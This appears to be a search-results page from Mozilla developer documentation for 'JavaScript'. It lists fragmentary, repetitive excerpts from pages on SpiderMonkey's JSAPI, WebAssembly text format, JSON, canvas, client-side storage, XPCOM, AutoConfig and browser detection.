JavaScript, Main Loop, requestAnimationFrame I want to be clear that any of the above, or none of them, could be best for your game. The correct decision entirely depends on the trade-offs that you are willing (and unwilling) to make. The concern is mostly with switching to another option. Fortunately, I do not have any experience with this, but I have heard ...
...g) to make. The concern is mostly with switching to another option. Fortunately, I do not have any experience with this, but I have heard it is an excruciating game of Whack-a-Mole. 3 Examples Demos, Example, Games, Web This page lists a number of impressive web technology demos for you to get inspiration from, and generally have fun with. A testament to what can be done with
JavaScript, WebGL, and related technologies. 4 Index Meta Found 74 pages: 5 Introduction to HTML5 Game Development (summary) Firefox OS, Games, HTML5, Mobile Games built with HTML5 work on smartphones, tablets, PCs and Smart TVs.Update your game whenever you want.Players can play the game anywhere, anytime. 6 Introduction to game development for the Web ...
...oduction to HTML5 Game Development (summary) Firefox OS, Games, HTML5, Mobile Games built with HTML5 work on smartphones, tablets, PCs and Smart TVs.Update your game whenever you want.Players can play the game anywhere, anytime. ...
...And 46 more matches
JSAPI reference
To learn how to use the JSAPI, see the JSAPI User Guide and the JSAPI Cookbook. Note: The FOSS wiki page contains a few links to other libraries and programs that can make life easier when using SpiderMonkey and the JSAPI. A note on versioning: Up until the release of Firefox 4, SpiderMonkey, and thus the JSAPI, was versioned in an ad-hoc way, with releases happening at times that roughly, but not really, corresponded to Firefox releases. In the fall of 2012, the SpiderMonkey team decided to align releases with those of Firefox. The reference applies this versioning scheme retroactively starting with Firefox 5. ...
...rivate JS_GetSecondContextPrivate Added in SpiderMonkey 17 JS_SetSecondContextPrivate Added in SpiderMonkey 17 JS_SetInterruptCallback Added in SpiderMonkey 31 JS_GetInterruptCallback Added in SpiderMonkey 31 JS_RequestInterruptCallback Added in SpiderMonkey 31 JS_CheckForInterrupt Added in JSAPI 45 JS_DestroyContextMaybeGC Obsolete since JSAPI 14 JS_SetBranchCallback Obsolete since
JavaScript 1.9.1 JS_SetOperationCallback Obsolete since JSAPI 30 JS_GetOperationCallback Obsolete since JSAPI 30 JS_TriggerOperationCallback Obsolete since JSAPI 30 JS_ClearOperationCallback Obsolete since
JavaScript 1.9.1 JS_GetOperationLimit Obsolete since
JavaScript 1.9.1 JS_SetOperationLimit Obsolete since
JavaScript 1.9.1 JS_MAX_OPERATION_LIMIT Obsolete since
JavaScript 1.9.1 JS_OPERATION_WEIGH...
...nCallback Obsolete since JSAPI 30 JS_GetOperationCallback Obsolete since JSAPI 30 JS_TriggerOperationCallback Obsolete since JSAPI 30 JS_ClearOperationCallback Obsolete since
JavaScript 1.9.1 JS_GetOperationLimit Obsolete since
JavaScript 1.9.1 JS_SetOperationLimit Obsolete since
JavaScript 1.9.1 JS_MAX_OPERATION_LIMIT Obsolete since
JavaScript 1.9.1 JS_OPERATION_WEIGHT_BASE Obsolete since
JavaScript 1.9.1 JS_SetThreadStackLimit Obsolete since JSAPI 13 JS_SetScriptStackQuota Obsolete since
JavaScript 1.8.6 JS_SetOptions Obsolete since JSAPI 27 JS_GetOptions Obsolete since JSAPI 27 JS_ToggleOptions Obsolete since JSAPI 27 enum JSVersion JSVERSION_ECMA_3 JSVERSION_1_6 JSVERSION_1_7 JSVERSION_1_8 JSVERSION_ECMA_5 JSVERSION_DEFAULT JSVERSION_UNKNOWN JSVERSI...
...And 46 more matches
JSAPI User Guide
This document explains how to embed SpiderMonkey, the Mozilla
JavaScript engine, in your C++ program.
JavaScript is widely used for client-side scripts that run in the browser. But Mozilla's
JavaScript engine is a library that can be linked into any C++ program, not just a browser. Many applications can benefit from scripting. These programs can execute
JavaScript code from C++ using the SpiderMonkey API. Note: The FOSS wiki page contains a few links to other libraries and programs that can make life easier when using Spidermonkey and JSAPI. What SpiderMonkey does The
JavaScript engine compiles and executes scripts containing
JavaScript statements and functions. The engine handles memory allocation for the objects needed to execute scripts, and it cleans up--garbage collects--objects it no long...
...i page contains a few links to other libraries and programs that can make life easier when using Spidermonkey and JSAPI. What SpiderMonkey does The
JavaScript engine compiles and executes scripts containing
JavaScript statements and functions. The engine handles memory allocation for the objects needed to execute scripts, and it cleans up--garbage collects--objects it no longer needs. The word
JavaScript may bring to mind features such as event handlers (like onclick), DOM objects, window.open, and XMLHttpRequest. But in Mozilla, all of these features are actually provided by other components, not the SpiderMonkey engine itself. SpiderMonkey provides a few core
JavaScript data types--numbers, strings, Arrays, Objects, and so on--and a few methods, such as Array.push. It also makes it easy for eac...
...Browsers expose DOM objects. Your application will expose objects that are relevant for the kind of scripts you want to write. ...
...And 38 more matches
JXON - Archive of obsolete content
a tree of nested instances of Object) and viceversa, with some different algorithms. It could be useful to read the XML introduction article first. ...
...a tree of nested instances of Object) and viceversa, with some different algorithms. It could be useful to read the XML introduction article first. ...
...a tree of nested instances of Object) and viceversa, with some different algorithms. It could be useful to read the XML introduction article first. ...
...And 36 more matches
Index
Found 1275 pages: # Page Tags and summary 1 XPCOM Add-ons, Extensions, Landing, Mozilla, XPCOM XPCOM is a cross platform component object model, similar to Microsoft COM. It has multiple language bindings, allowing XPCOM components to be used and implemented in
JavaScript, Java, and Python in addition to C++. 2 Accessing the Windows Registry Using XPCOM Add-ons, Code snippets, Extensions, NeedsClassification, Windows Registry When implementing Windows-specific functionality, it is often useful to access the Windows registry for information about the environment or other installed programs. To this end, there exist XPCOM interfaces to read and write registry data. This article will show you how to use the available interfaces in severa...
...terfaces and those interfaces can change between Gecko versions. This can create a difficult situation for extension developers trying to support multiple Gecko versions (Firefox 2 and 3, for example). 6 Creating a Python XPCOM component Guide, NeedsHelp, PyXPCOM, XPCOM, XPCOM:Language Bindings Creating Applications with Mozilla already provides a tutorial for making a simple
JavaScript or C++ component (implementing the nsISimple interface). Here is how to make the same component in Python using PyXPCOM. 7 Fun With XBL and XPConnect XBL, XPCOM, XPCOM:Language Bindings, XPConnect No summary! 8 Generating GUIDs Add-ons, Developing Mozilla, Developing_Mozilla:Tools, Extensions, Tools, XPCOM GUIDs are used in Mozilla programming for identif...
...object as one of the arguments to the window creation method. 11 How to build a binary XPCOM component using Visual Studio Add-ons, Extensions, XPCOM This is a simple tutorial for building XPCOM objects in C++ using Visual Studio. XPCOM is Mozilla's cross platform component object model, similar to Microsoft's COM technology. XPCOM components can be implemented in C, C++, and
JavaScript, and can be used from C, C++, and
JavaScript. That means you can call
JavaScript methods from C++ and vice versa. For more information on the workings of XPCOM look elsewhere. 12 Index Found 1275 pages: 13 Interfacing with the XPCOM cycle collector Firefox 3, XPCOM This is a quick overview of the cycle collector introduced into XPCOM for Firefox 3, inclu...
...And 34 more matches
Introduction to client-side frameworks - Learn web development
Overview: Client-side
JavaScript frameworks Next We begin our look at frameworks with a general overview of the area, looking at a brief history of
JavaScript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages. Objective: To understand how client-side
JavaScript frameworks came to exist, what problems they solve, what alternatives there are, and how to go about choosing one. A brief history When
JavaScript debuted in 1996, it added occasional interactivity and excitement to a web that was, up until then, composed of static documents. The web became not just ...
...ive: To understand how client-side
JavaScript frameworks came to exist, what problems they solve, what alternatives there are, and how to go about choosing one. A brief history When
JavaScript debuted in 1996, it added occasional interactivity and excitement to a web that was, up until then, composed of static documents. The web became not just a place to read things, but to do things.
JavaScript's popularity steadily increased. Developers who worked with
JavaScript wrote tools to solve the problems they faced, and packaged them into reusable packages called libraries, so they could share their solutions with others. This shared ecosystem of libraries helped shape the growth of the web. ...
...Users write papers, manage their budgets, stream music, watch movies, and communicate with others over great distances instantaneously, with text, audio or video chat. ...
...And 28 more matches
Understanding WebAssembly text format - WebAssembly
nable WebAssembly to be read and edited by humans, there is a textual representation of the wasm binary format. This is an intermediate form designed to be exposed in text editors, browser developer tools, etc. This article explains how that text format works, in terms of the raw syntax, and how it is related to the underlying bytecode it represents -- and the wrapper objects representing wasm in
JavaScript. Note: This is potentially overkill if you are a web developer who just wants to load a wasm module into a page and use it in your code (see Using the WebAssembly
JavaScript API), but it is more useful if for example, you want to write wasm modules to optimize the performance of your
JavaScript library, or build your own WebAssembly compiler. S-expressions In both the binary and textual form...
...INARY_VERSION Adding functionality to your module Ok, that's not very interesting, let's add some executable code to this module. All code in a webassembly module is grouped into functions, which have the following pseudo-code structure: ( func <signature> <locals> <body> ) The signature declares what the function takes (parameters) and returns (return values). The locals are like vars in
JavaScript, but with explicit types declared. The body is just a linear list of low-level instructions. So this is similar to functions in other languages, even if it looks different because it is an S-expression. Signatures and parameters The signature is a sequence of parameter type declarations followed by a list of return type declarations. It is worth noting here that: The absence of a (resu...
...ide the module. Like locals, functions are identified by an index by default, but for convenience, they can be named. Let's start by doing this -- first, we'll add a name preceded by a dollar sign, just after the func keyword: (func $add ... ) Now we need to add an export declaration -- this looks like so: (export "add" (func $add)) Here, add is the name the function will be identified by in
JavaScript whereas $add picks out which WebAssembly function inside the Module is being exported. So our final module (for now) looks like this: (module (func $add (param $lhs i32) (param $rhs i32) (result i32) local.get $lhs local.get $rhs i32.add) (export "add" (func $add)) ) If you want to follow along with the example, save the above our module into a file called add.wat, then convert...
...And 27 more matches
JSAPI Cookbook
This article shows the JSAPI equivalent for a tiny handful of common
JavaScript idioms. Note: The FOSS wiki page contains a few links to other libraries and programs that can make life easier when using SpiderMonkey and JSAPI. Basics Working with values The basic, undifferentiated value type in the JSAPI is JS::Value. ...
...quivalent for a tiny handful of common
JavaScript idioms. Note: The FOSS wiki page contains a few links to other libraries and programs that can make life easier when using SpiderMonkey and JSAPI. Basics Working with values The basic, undifferentiated value type in the JSAPI is JS::Value. ...
...ng(); bool isNumber = v.isNumber(); bool isInt32 = v.isInt32(); // NOTE: internal representation, not numeric value bool isNull = v.isNull(); bool isBoolean = v.isBoolean(); bool isObject = v.isObject(); // NOTE: not broken like typeof === "object" is :-) To set a value use a correspondingly named member mutator function, or assign the result of the correspondingly named standalone function: //
JavaScript var v; v = 0; v = 0.5; v = someString; v = null; v = undefined; v = false; /* JSAPI */ JS::RootedValue v(cx); JS::RootedString someString(cx, ...); v.setInt32(0); // or: v = JS::Int32Value(0); v.setDouble(0.5); // or: v = JS::DoubleValue(0.5); v.setString(someString); // or: v = JS::StringValue(someString); v.setNull(); // or: v = JS::NullValue(); v.setUndefined();...
...And 26 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
Many browsers, such as Internet Explorer, also support pre-W3C APIs and have never added extensive support for the W3C-compliant ones. Before I go into the differences between Mozilla and Intern...
...v:1.5) Gecko/20031016 While using the useragent to sniff the browser provides detailed information on the browser in use, code that handles useragents often can make mistakes when new browser versions arrive, thus requiring code changes. It is much better and more reliable to sniff by browser capability or object feature support. You can usually do this by testing the required functionality in
JavaScript. For example, rather than: if (isMozilla || isIE5) You would use: if (document.getElementById) This would allow other browsers that support that W3C standard method, such as Opera or Safari, to work without any changes. Useragent sniffing makes sense in very limited cases where you really do want to know the exact browser in use, such as when you need to work around a bug in a specific ve...
...andard method, such as Opera or Safari, to work without any changes. Useragent sniffing makes sense in very limited cases where you really do want to know the exact browser in use, such as when you need to work around a bug in a specific version of a specific browser. For all other purposes you should check for the feature you need rather than the browsers you think will support that feature. ...
...And 24 more matches
Working with JSON - Learn web development
Previous Overview: Objects Next
JavaScript Object Notation (JSON) is a standard text-based format for representing structured data based on
JavaScript object syntax. It is commonly used for transmitting data in web applications (e.g., sending some data from the server to the client, so it can be displayed on a web page, or vice versa). You'll come across it quite often, so in this article we give you all you need to work with JSON using
JavaScript, including parsing JSON so you can access data within it, and creating JSON. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, familiarity with
JavaScript basics (see First steps and Building blocks) and OOJS basics (see Introduction to objects). Objective: To understand how to work with data ...
.... Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, familiarity with
JavaScript basics (see First steps and Building blocks) and OOJS basics (see Introduction to objects). Objective: To understand how to work with data stored in JSON, and create your own JSON objects. No, really, what is JSON? ...
...ty with
JavaScript basics (see First steps and Building blocks) and OOJS basics (see Introduction to objects). Objective: To understand how to work with data stored in JSON, and create your own JSON objects. No, really, what is JSON? ...
...And 21 more matches
Reference - Archive of obsolete content
t" and "context object". We could also put in layman definitions there for JS constructs like functions and variables. --Maian 01:43, 30 September 2005 (PDT) We should define the terms we are using. In particular this means we should define activation object somewhere (and link to it whenever we mention it). --Nickolay 18:40, 16 July 2006 (PDT) JS 1.2 and Gecko 1.8 Per the fix for bug 255895, "
JavaScript1.2" values for the script's language attribute no longer work, e.g. <script language="
JavaScript1.2"> will execute the script in the latest JS version rather than JS 1.2. So how should this be documented? In Fx 1.0, JS 1.2 is available, but not in the upcoming Fx 1.5. There are 5 cases where "
JavaScript1.2" is mentioned in this reference: Special:Search?search=
JavaScript1.2&go=Go. How should they...
...erences between two versions of JS, and if we have a section in the reference that is dedicated to discussing these differences, I would think that those samples should be included in that section of the reference. Or am I misunderstanding something? -- dria 05:30, 22 September 2005 (PDT) The examples (or most of them at least) say that the browser can use the JS 1.2 engine with the language="
JavaScript1.2" tag, but this is no longer possible; language="
JavaScript1.x" tags will always use the current version now, i.e. JS 1.6. So while the examples do show what JS 1.2 does, they incorrectly indicate that it's possible to switch to the 1.2 engine. --Maian 05:41, 22 September 2005 (PDT) This is true. The wording should be changed with the
Javascript 1.x examples, as well as refer to the versio...
...ript 1.x examples, as well as refer to the versions in the past tense. I also support the use of a deprecated pre box with these examples. Since it's been 9 months since the last comment on this, I think I'll go ahead and change all of the examples. If anyone disagrees, you can always revert. Sevenspade 13:19, 2 July 2006 (PDT) After some thought, I removed the references to using LANGUAGE="
JavaScript1.2", and all references are merely presented as information detailing past behavior. The "Backwards compatibility" sections have been renamed to "Behavior in older versions." However, I think this is only appropriate if we are going to document the evolution of everything, or at least note the most significant changes introduced in the various versions. Otherwise, I think we should just remove t...
...And 20 more matches
Scripting Java
Scripting Java has many uses. It allows us to write powerful scripts quickly by making use of the many Java libraries available. We can test Java classes by writing scripts. We can also aid our Java development by using scripting for exploratory programming. Exploratory programming is the process of learning about what a library or API can do by writing quick programs that use it. As we will see, scripting makes this process easier. Note that the ECMA standard doesn't cover communication with Java (or with any external object system for that matter). All the functionality covered in this chapter should thus be considered an extension. ...
...s that use it. As we will see, scripting makes this process easier. Note that the ECMA standard doesn't cover communication with Java (or with any external object system for that matter). All the functionality covered in this chapter should thus be considered an extension. Accessing Java Packages and Classes Every piece of Java code is part of a class. Every Java class is part of a package. In
JavaScript, however, scripts exist outside of any package hierarchy. How then, do we access classes in Java packages? Rhino defines a top-level variable named Packages. The properties of the Packages variable are all the top-level Java packages, such as java and com. For example, we can access the value of the java package: js> Packages.java [JavaPackage java] As a handy shortcut, Rhino defines a top-lev...
...lass java.io.File using just the name File: js> importPackage(java.io) js> File [JavaClass java.io.File] Here importPackage(java.io) makes all the classes in the java.io package (such as File) available at the top level. It's equivalent in effect to the Java declaration import java.io.*;. It's important to note that Java imports java.lang.* implicitly, while Rhino does not. The reason is that
JavaScript has its own top-level objects Boolean, Math, Number, Object, and String that are different from the classes by those names defined in the java.lang package. Because of this conflict, it's a good idea not to use importPackage on the java.lang package. One thing to be careful of is Rhino's handling of errors in specifying Java package or class names. If java.MyClass is accessed, Rhino attempts to ...
...And 20 more matches
Index - Firefox Developer Tools
Found 158 pages: # Page Tags and summary 1 Firefox Developer Tools Developing Mozilla, Guide, Tools, Web Development, Web Development:Tools, l10n:priority Firefox Developer Tools is a set of web developer tools built into Firefox. You can use them to examine, edit, and debug HTML, CSS, and
JavaScript. 2 3D view HTML, Tools, Web Development, Web Development:Tools When you click on the 3D view button, the page goes into 3D view mode; in this mode, you can see your page presented in a 3D view in which nested blocks of HTML are increasingly "tall," projecting outward from the bottom of the page. This view makes it easy to visualize the nesting of your content. 3 Accessibility Inspector Accessibility, Accessibility inspector...
...irefox, Guide, Manifest In this article we will look at inspecting app manifests using the Firefox DevTools Application panel. 14 Browser Console Browser, Debugging, Tools, Web Development, WebDevelopment:Tools The Browser Console is like the Web Console, but applied to the whole browser rather than a single content tab. 15 Browser Toolbox Debug, Firefox,
JavaScript The Browser Toolbox enables you to debug add-ons and the browser's own
JavaScript code rather than just web pages like the normal Toolbox. The Browser Toolbox's context is the whole browser rather than just single page on a single tab. 16 DOM Property Viewer DOM, Tools, Web Development The DOM Property Viewer lets you inspect the properties of the DOM as an expandable ...
...wser Toolbox's context is the whole browser rather than just single page on a single tab. 16 DOM Property Viewer DOM, Tools, Web Development The DOM Property Viewer lets you inspect the properties of the DOM as an expandable tree structure, starting from the window object of the current page or the selected iframe. 17 Debugger-API Debugger, Intermediate, Intro,
JavaScript, Tools Mozilla's
JavaScript engine, SpiderMonkey, provides a debugging interface named Debugger which lets
JavaScript code observe and manipulate the execution of other
JavaScript code. Both Firefox's built-in developer tools and the Firebug add-on use Debugger to implement their
JavaScript debuggers. However, Debugger is quite general, and can be used to implement other kinds of tools like...
...And 20 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
ult/randomdir/prefs.js) we now use a centralized default set of preferences. This centralized preference file can lock preferences (lockPref) or initialize them (defaultPref) based on environment variables (USER, HOME...) and/or LDAP queries (fetch email address, Common Name , language, homepage etc...) from the enterprise directory. Central Configuration File That feature is provided through a
JavaScript file. File Location (not tested since 2012 ...) In Thunderbird , FireFox, the
javascript preference file that calls the centralized preference file is located in $INSTALL_DIR_MOZ_APP/defaults/pref, for example in thunderbird this would be repectively for windows/linux: C:\Program Files\Mozilla Thunderbird\defaults\pref /usr/lib/thunderbird/default/pref ( it used to be in /usr/lib/thunderbird...
...t/pref ( it used to be in /usr/lib/thunderbird-version#/default/pref as in /usr/lib/thunderbird-5/default/pref ) For the record/history purpose ... the old Netscape 4.x the file is encoded (byte-shift/rotary is 7), and the presence of the file (netscape.cfg) in the MOZILLA_HOME directory suffices for it to be read and executed. For Mozilla 1.x.x, Firefox, Thunderbird or Netscape 7 it is still a
JavaScript file, the byte-shift is 13 by default, but can be removed using the pref("general.config.obscure_value", 0); preference in any appropriate .js file dedicated to autoconfig (here autoconf.js). The name of the file can be anything you want because it is named by a general.config preference that should be added at the end of file MOZILLA_HOME/default/pref/autoconf.js or MOZILLA_HOME/greprefs/autoco...
...); preference in any appropriate .js file dedicated to autoconfig (here autoconf.js). The name of the file can be anything you want because it is named by a general.config preference that should be added at the end of file MOZILLA_HOME/default/pref/autoconf.js or MOZILLA_HOME/greprefs/autoconf.js: pref("general.config.filename", "mozilla.cfg");. File API That centralized preference file uses a
JavaScript API that allows us to do what we need. That prefcalls.js is now archive in omni.jar file located at the root of the mozilla apps installation, example of TB5: # jar -tvf /usr/lib/thunderbird/omni.jar | grep prefcalls.js 7499 Sat Nov 05 09:21:34 CET 2011 defaults/autoconfig/prefcalls.js Traditionally (previous apps versions) is was in MOZILLA_HOME/default/autoconfig/prefcalls.js. The presen...
...And 19 more matches
Storing the information you need — Variables - Learn web development
Previous Overview: First steps Next After reading the last couple of articles you should now know what
JavaScript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level. In this article, we will get down to the real basics, looking at how to work with the most basic building blocks of
JavaScript -- Variables. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what
JavaScript is. Objective: To gain familiarity with the basics of
JavaScript variables. Tools you need Throughout this article, you'll be asked to type in lines of code to test your understanding of the content. If you are using a desktop browser, the best place to type your ...
... What is a variable? A variable is a container for a value, like a number we might use in a sum, or a string that we might use as part of a sentence. ...
...e didn't have variables available, we'd have to implement a giant code block that checked what the entered name was, and then display the appropriate message for any name. This is obviously really inefficient (the code is a lot bigger, even for only five choices), and it just wouldn't work -- you couldn't possibly store all possible choices. Variables just make sense, and as you learn more about
JavaScript they will start to become second nature. Another special thing about variables is that they can contain just about anything -- not just strings and numbers. Variables can also contain complex data and even entire functions to do amazing things. You'll learn more about this as you go along. Note: We say variables contain values. This is an important distinction to make. Variables aren't the val...
...And 19 more matches
Drawing graphics - Learn web development
Previous Overview: Client-side web APIs Next The browser contains some very powerful graphics programming tools, from the Scalable Vector Graphics (SVG) language, to APIs for drawing on HTML <canvas> elements, (see The Canvas API and WebGL). This article provides an introduction to canvas, and further resources to allow you to learn more. Prerequisites:
JavaScript basics (see first steps, building blocks,
JavaScript objects), the basics of Client-side APIs Objective: To learn the basics of drawing on <canvas> elements using
JavaScript. Graphics on the Web As we talked about in our HTML Multimedia and embedding module, the Web was originally just text, which was very boring, so images were introduced -- first via the <img> element and later via CSS pr...
...earn the basics of drawing on <canvas> elements using
JavaScript. Graphics on the Web As we talked about in our HTML Multimedia and embedding module, the Web was originally just text, which was very boring, so images were introduced -- first via the <img> element and later via CSS properties such as background-image, and SVG. This however was still not enough. While you could use CSS and
JavaScript to animate (and otherwise manipulate) SVG vector images -- as they are represented by markup -- there was still no way to do the same for bitmap images, and the tools available were rather limited. The Web still had no way to effectively create animations, games, 3D scenes, and other requirements commonly handled by lower level languages such as C++ or Java. The situation started to improve when...
...er browsers followed by implementing it in the years that followed. As you'll see below, canvas provides many useful tools for creating 2D animations, games, data visualizations, and other types of app, especially when combined with some of the other APIs the web platform provides. The below example shows a simple 2D canvas-based bouncing balls animation that we originally met in our Introducing
JavaScript objects module: Around 2006-2007, Mozilla started work on an experimental 3D canvas implementation. This became WebGL, which gained traction among browser vendors, and was standardized around 2009-2010. WebGL allows you to create real 3D graphics inside your web browser; the below example shows a simple rotating WebGL cube: This article will focus mainly on 2D canvas, as raw WebGL code is v...
...And 17 more matches
Using XPCOM Components
ever a user accesses the Cookie Manager dialog to view, organize, or remove cookies that have been stored on the system, they are using the CookieManager component behind the scenes. The Cookie Manager Dialog shows user interface[cookie-manager-ui] that is presented to the user in Mozilla for working with the CookieManager component. The Cookie Manager Dialog This dialog is written in XUL and
JavaScript, and uses a part of XPCOM called XPConnect to seamlessly connect to the CookieManager component (see Connecting to Components from the Interface below). XUL is just one way to expose the functionality of the CookieManager component-but it's a particularly useful one in the Mozilla world. The functionality of the CookieManager component is available through the nsICookieManager interface, which i...
...ions are private[private-xpcom-interfaces]. When a user selects one of the cookies displayed in the list and then clicks the Remove button, the Remove method in the nsICookieManager interface is called. The function is carried out by the CookieManager component, and the selected cookie is deleted from disk and removed from the displayed list. ...
... list and then clicks the Remove button, the Remove method in the nsICookieManager interface is called. The function is carried out by the CookieManager component, and the selected cookie is deleted from disk and removed from the displayed list. ...
...And 17 more matches
Tutorials
@font-face feature from CSS3 allows you to use custom typefaces on the web in an accessible, manipulatable, and scalable way. Starting to Write CSS An introduction to tools and methodologies to write more succinct, maintainable, and scalable CSS. Canvas tutorial Learn how to draw graphics using scripting using the canvas element. HTML5 Doctor Articles about using HTML5 right now. ...
...e custom typefaces on the web in an accessible, manipulatable, and scalable way. Starting to Write CSS An introduction to tools and methodologies to write more succinct, maintainable, and scalable CSS. Canvas tutorial Learn how to draw graphics using scripting using the canvas element. HTML5 Doctor Articles about using HTML5 right now. ...
...ccessible, manipulatable, and scalable way. Starting to Write CSS An introduction to tools and methodologies to write more succinct, maintainable, and scalable CSS. Canvas tutorial Learn how to draw graphics using scripting using the canvas element. HTML5 Doctor Articles about using HTML5 right now. ...
...And 17 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
cument was authored by Taiga (Gomita) Gomibuchi and was originally published in Japanese for the Firefox Developers Conference Summer 2007. Gomita-san won "Most Useful Upgraded Extension" award in Mozilla's 2006 "Extend Firefox" competition for ScrapBook, and was runner-up in the "Extend Firefox 2" contest for FireGestures. The chapters so far have each focused on technologies in isolation--XUL,
JavaScript, CSS, and XPCOM. In this chapter, we'll discuss how to put them together to actually build an extension. An easier method of building a Firefox/Thunderbird Addon for developers who are well-acquainted with IDEs like Netbeans, Eclipse, etc. is to use Netbeans (IDE from Sun Microsystems) and Foxbeans (Plugin for Netbeans, by TeeSoft). Setting up your development environment In order to develop ...
...xul_cache (not present in Firefox 3.5+) Ordinarily, Firefox will cache XUL documents after they have been read in once, to speed subsequent displays. Disabling this cache forces XUL documents to be reloaded any every time they are displayed. True browser.dom.window.dump.enabled (not present in Firefox 3.5+) Enables use of the dump method for debugging. ...
...refox will cache XUL documents after they have been read in once, to speed subsequent displays. Disabling this cache forces XUL documents to be reloaded any every time they are displayed. True browser.dom.window.dump.enabled (not present in Firefox 3.5+) Enables use of the dump method for debugging. Refer to the "
JavaScript debugging methods" sidebar. ...
...And 16 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
browser detection. Quick Tip If you must determine if a visitor is using a Gecko-based browser, simply test navigator.product == 'Gecko' or look for the string 'Gecko/' in the navigator.userAgent. Note that some other browsers such as Safari are reporting (like Gecko) in their user agent strings and can confuse simple tests. Introduction In an ideal world, we could author HTML, XML, CSS and
JavaScript and only worry about the W3C and ECMA standards. However, we don't quite live in such a world yet. Due to bugs, incomplete implementations of the standards and legacy browsers, web developers must be able to determine which browser a visitor is using and provide the appropriate content and scripting code path. Although browser detection is perhaps the most common scripting task that every web de...
...a, and Netscape browsers, far fewer are aware that these browsers are members of an entire family of user agents based upon the Gecko layout engine which includes the commercial browser CompuServe 7, and open source browsers such as Epiphany, Galeon, Camino, Kmeleon, and SeaMonkey. Gecko was designed from the ground up to be compliant with the W3C HTML, W3C CSS, W3C XML, W3C DOM, and ECMAScript (
JavaScript) standards. It also includes compatibility features which allow it to reasonably handle legacy content which was developed for earlier generations of browsers such as Netscape Navigator 4 as well as features which provide compatibility with Internet Explorer 5 and 6. Unlike other browsers, Gecko is truly cross platform and provides consistent behavior across all supported operating systems. The ...
...using Mozilla/version to signal that they were compatible with a particular Netscape version. Since other browsers pretended to be Netscape browsers and encoded their version information in a non-standard fashion in the user agent comment area, the task of determining which browser was being used became more complicated than it should have been. Netscape Navigator 2 introduced the ability to run
JavaScript in web browsers. As browser evolution continued, differences in the implementation of scripting and the objects supported by browsers appeared. Web authors were no longer limited to detecting browsers on their web servers, but could now execute scripts client side (in the browser itself) which could be used to distinguish browsers. One of the earliest approaches to client side browser detection i...
...And 16 more matches
Client-side storage - Learn web development
APIs Modern web browsers support a number of ways for web sites to store data on the user's computer -- with the user's permission -- then retrieve it when necessary. This lets you persist data for long-term storage, save sites or documents for offline use, retain user-specific settings for your site, and more. This article explains the very basics of how these work. Prerequisites:
JavaScript basics (see first steps, building blocks,
JavaScript objects), the basics of Client-side APIs Objective: To learn how to use client-side storage APIs to store application data. Client-side storage? Elsewhere in the MDN learning area we talked about the difference between static sites and dynamic sites. Most major modern web sites are dynamic -- they store data on the server us...
... dynamic sites. Most major modern web sites are dynamic -- they store data on the server using some kind of database (server-side storage), then run server-side code to retrieve needed data, insert it into static page templates, and serve the resulting HTML to the client to be displayed by the user's browser. Client-side storage works on similar principles, but has different uses. It consists of
JavaScript APIs that allow you to store data on the client (i.e. on the user's machine) and then retrieve it when needed. This has many distinct uses, such as: Personalizing site preferences (e.g. showing a user's choice of custom widgets, color scheme, or font size). Persisting previous site activity (e.g. storing the contents of a shopping cart from a previous session, remembering if a user was previo...
... show a simple example in the Offline asset storage section below. Storing simple data -- web storage The Web Storage API is very easy to use -- you store simple name/value pairs of data (limited to strings, numbers, etc.) and retrieve these values when needed. Basic syntax Let's show you how: First, go to our web storage blank template on GitHub (open this in a new tab). Open the
JavaScript console of your browser's developer tools. All of your web storage data is contained within two object-like structures inside the browser: sessionStorage and localStorage. The first one persists data for as long as the browser is open (the data is lost when the browser is closed) and the second one persists data even after the browser is closed and then opened again. We'll use the second on...
...And 15 more matches
Mozilla DOM Hacking Guide
so important for the DOM. By "correct behavior", I mean "the intended behavior with respect to the specification or de facto standard". We will see that Class Info is mainly used to implement the DOM Level 0. The W3C DOM is mainly implemented in IDL. The goals of Class Info are twofold: Interface flattening, and implementing behaviors that are not possible with IDL alone. A brief introduction to
JavaScript and XPConnect. Before we begin the explanation of Class Info, I'd like to introduce quickly the
JavaScript engine and XPConnect. In
JavaScript, there is no knowledge of types, like there is in C++. A function for example can be represented by a JSFunction, a JSObject, a jsval, ... This means that when we use the DOM from
JavaScript, we pass arguments that have no type. However, since the DOM is ...
... the DOM from
JavaScript, we pass arguments that have no type. However, since the DOM is coded in C++, we expect to receive an argument of the correct type for our function. This is one of the jobs of XPConnect. XPConnect will "wrap" the argument in a wrapper that will be of the type expected by our C++ function. Similarly, then return type of the C++ function will be wrapped by XPConnect so that
JavaScript can use it safely. When, in
JavaScript, a client tries to access a DOM object or a DOM method on a DOM object, the JS engine asks XPConnect to search for the relevant C++ method to call. For example, when we ask for |document.getElementById("myID");|, XPConnect will find that |document| is a property of the window object, so it will look on the interface nsIDOMWindow, and it will find the GetDoc...
...t window.location.href. This is all possible thanks to the magic of the interaction between XPConnect and the DOM. The second example is the history object. Other browsers allow the history object to be used like an array, e.g. history[1]. The behavior "act as an array" cannot be reflected in the IDL itself. Fortunately, XPConnect provides us with a way to make our class available as an array in
JavaScript. I'm talking about the "scriptable flags". The nsIXPCScriptable interface, implemented by the nsDOMClassInfo class (see Section) defines several flags, one of which is the WANT_GETPROPERTY flag. When set, it allows us to define a GetProperty() function on nsHistorySH (the helper class for the history object), which will handle the array behavior. Indeed, it will forward the call history[1] to his...
...And 15 more matches
Venkman Introduction - Archive of obsolete content
Warning: The content of this article may be out of date. A powerful new tool is available for web developers for use in many Mozilla-based products, including Firefox, Mozilla Suite and Netscape 7.x. The
JavaScript debugger, also called Venkman, has been a part of the Mozilla browser and the community of web and script developers there for some time. This article provides an overview and some practical examples of using the
JavaScript debugger in web applications and web page scripting. This introduction is the first in a series of articles on Venkman and
JavaScript debugging. Even if you are already using Venkman, the features, procedures, and tips described here will make you a more confident web developer and debugger. Venkman is both a graphic and a console debugger. Features su...
